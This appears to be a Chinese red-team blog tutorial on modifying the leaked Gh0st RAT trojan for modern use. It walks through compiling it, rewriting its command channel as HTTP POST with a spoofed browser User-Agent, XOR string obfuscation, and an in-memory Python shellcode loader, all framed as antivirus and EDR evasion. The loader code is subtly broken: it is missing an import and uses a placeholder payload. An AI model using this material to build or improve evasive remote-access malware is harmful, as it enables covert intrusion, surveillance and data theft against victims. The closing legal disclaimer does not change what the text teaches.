一、从一起APT攻击说起

2018年,一次针对某东南亚政府机构的APT攻击引起了广泛关注。攻击者使用了一款经典的远控木马——Gh0st RAT,通过钓鱼邮件携带的恶意文档成功植入目标系统,并对受害者网络进行了长达数月的监控、数据窃取和破坏。Gh0st RAT的最大特点是其体积小、功能强,并且在过去10年间不断被恶意开发者改造和升级,形成了五花八门的变种。

作为一款流传甚广的远控框架,Gh0st RAT的源代码早已泄露。它的模块化设计和易于扩展的架构让它不仅成为攻击者的最爱,也成为红队研究人员学习和定制远控工具的首选。然而,原版Gh0st的行为模式和签名特征早已被主流杀毒软件和EDR产品收录,直接使用几乎等于“自杀”。因此,如何对Gh0st RAT进行高质量的二次开发,使其具备现代免杀能力和对抗检测能力,是每个红队成员必须掌握的技能。

在本文中,我将从攻击者的视角出发,带你一步步完成Gh0st RAT的二次开发工作。我们不仅会实现核心代码的功能改造,还会探讨多种免杀和流量伪装的实现方式,展示如何将一款经典的远控框架武器化,使其在现代攻防环境中“重获新生”。

---

二、为什么选择Gh0st RAT?

选择Gh0st RAT作为二次开发的基础并非偶然。它的设计理念和代码结构非常适合红队定制化操作:

  1. 轻量级架构
  2. Gh0st RAT采用C++编写,核心代码仅数千行,运行时占用资源极少,适合隐蔽性要求高的攻击场景。

  1. 功能模块化
  2. 原版Gh0st提供了远程桌面、文件管理、键盘记录、进程控制等功能模块,这些模块可以按需裁剪或扩展。

  1. 网络通信灵活
  2. Gh0st使用自定义的二进制通信协议,默认基于TCP实现。攻击者可以轻松修改协议或迁移到HTTP/HTTPS等更隐蔽的传输方式。

  1. 开源项目众多
  2. 互联网上存在大量Gh0st RAT的开源版本,比如gh0st_open。这些代码为我们提供了完善的参考实现,可以快速上手。

接下来,我们将基于一个公开的Gh0st开源版本,逐步进行功能改造、免杀优化和对抗增强。

---

三、复现与环境搭建

黑客示意图

为了让实验具有可操作性,我们需要搭建一个完整的攻击链测试环境,包括以下几个部分:

  1. 攻击机
  2. 一台装有Kali Linux或Parrot OS的虚拟机,作为我们的攻击端主机,配置以下工具:

  • Python 3.9+
  • GCC编译器
  • Wireshark(用于流量捕获分析)
  • Visual Studio Code(用于修改和调试代码)
  1. 目标靶机
  2. 一台运行Windows 10的虚拟机,用于模拟受害者环境,安装以下工具:

  • Process Hacker(便于观察进程行为)
  • Fiddler(用于抓包分析)
  • Windows Defender(用于测试免杀效果)
  1. C2服务器
  2. 我们将使用一台本地的Linux服务器,部署自定义的C2控制端,以模拟真实攻击场景。

以下是环境搭建的简化步骤:

<pre><code class="language-bash"># 在攻击机上安装必备工具 sudo apt update sudo apt install -y build-essential python3 python3-pip wireshark

克隆Gh0st RAT开源代码

git clone https://github.com/gh0st-open/gh0st_open.git cd gh0st_open

检查环境是否满足编译条件

sudo apt install -y mingw-w64</code></pre>

在完成环境准备后,我们需要检查原版Gh0st的运行效果,确保其能够正常通信。为此,我们可以直接编译源代码并生成一个基础的RAT样本。

<pre><code class="language-bash"># 使用MinGW编译Gh0st的客户端代码 x86_64-w64-mingw32-g++ -o gh0st_client.exe client.cpp -lws2_32</code></pre>

将生成的gh0st_client.exe复制到靶机运行,并在C2服务器上启动监听,确保受控机能够成功连接。

---

四、功能改造:从TCP到HTTP/HTTPS

原版Gh0st RAT使用明文的TCP协议进行通信,这种方式虽然简单高效,但它的流量特征极为明显,极易被网络安全设备检测。现代攻击者通常会选择HTTP/HTTPS作为传输层协议,因为这种流量模式更接近正常的Web行为,难以被识别。

改造通信模块

我们需要修改Gh0st的通信模块,使其支持HTTP/HTTPS流量。以下是代码改造的核心部分:

  1. 替换TCP连接函数,改用HTTP请求发送数据。
  2. 在服务端实现基本的HTTP解析逻辑。

以下是新的通信函数示例(C++实现):

<pre><code class="language-cpp">#include &lt;windows.h&gt;

include &lt;wininet.h&gt;

// 使用WinINet库通过HTTP发送数据 bool SendViaHttp(const std::string&amp; server, const std::string&amp; endpoint, const std::string&amp; data) { HINTERNET hSession = InternetOpen(L&quot;gh0st_http_client&quot;, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hSession) return false;

HINTERNET hConnect = InternetConnect(hSession, server.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConnect) { InternetCloseHandle(hSession); return false; }

HINTERNET hRequest = HttpOpenRequest(hConnect, L&quot;POST&quot;, endpoint.c_str(), NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0); if (!hRequest) { InternetCloseHandle(hConnect); InternetCloseHandle(hSession); return false; }

黑客示意图

bool result = HttpSendRequest(hRequest, L&quot;Content-Type: application/x-www-form-urlencoded&quot;, -1, (void*)data.c_str(), data.size());

InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession);

return result; }</code></pre>

此函数通过WinINet库实现了HTTP POST请求的发送。攻击者可以将其集成到Gh0st的通信模块中,替代原有的TCP发送逻辑。

流量伪装策略

为了进一步提高隐蔽性,我们可以在发送数据时模拟合法的HTTP头信息。例如,将User-Agent伪装成常见的浏览器标识:

<pre><code class="language-cpp">HttpSendRequest(hRequest, L&quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\n&quot;, ...);</code></pre>

黑客示意图

此外,我们可以将恶意数据伪装成普通的JSON或Base64编码内容,从而进一步混淆痕迹。

---

五、免杀与对抗:逃避检测的技巧

随着现代EDR产品的普及,传统的静态和动态免杀技术已不足以应对高级检测策略。在这一部分,我们将介绍几种对抗方法,包括代码混淆、动态加密和内存加载。

静态免杀:代码混淆

静态特征检测是杀毒软件的基本能力之一。为了避开这种检测,我们可以对Gh0st的核心代码进行混淆和变形。例如,使用字符串加密来隐藏恶意API调用:

<pre><code class="language-cpp">// 简化的AES加密解密函数,用于字符串混淆 std::string Encrypt(const std::string&amp; data, const std::string&amp; key) { // 简单的XOR加密实现 std::string output = data; for (size_t i = 0; i &lt; data.size(); i++) { output[i] ^= key[i % key.size()]; } return output; }</code></pre>

在关键位置调用加密函数,避免明文特征被检测。

动态免杀:内存加载

为了绕过文件扫描,我们可以实现纯内存加载的恶意载荷,即将Gh0st的核心代码直接注入目标进程中运行,而不落地磁盘。

以下是一个内存加载示例(Python实现):

<pre><code class="language-python">import ctypes

将恶意二进制代码存储为Base64字符串

payload = &quot;base64_encoded_shellcode_here&quot;

解码并加载到内存

shellcode = base64.b64decode(payload) buffer = ctypes.create_string_buffer(shellcode) shellcode_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))

执行Shellcode

shellcode_func()</code></pre>

---

六、经验总结:做一个隐形的攻击者

在本次Gh0st RAT的改造过程中,我们经历了从功能优化到免杀实现的完整流程。以下是我的几点心得:

  1. 模块化设计是关键
  2. 在实际攻击中,模块化的工具可以大大提高灵活性。例如,在不同场景下,我们可以快速替换通信协议或动态调整免杀策略。

  1. 对抗是长期的博弈
  2. 每一次成功的免杀技术都会周期性过时,攻击者必须不断学习新的对抗方法,保持领先地位。

  1. 合法授权是基础
  2. 所有的攻击技术都应建立在合法授权的基础上,确保研究行为不触碰法律底线。

本文仅供安全研究和学习使用,请勿用于非法用途。希望通过这篇文章,能为你的红队实战能力提升提供一些启发。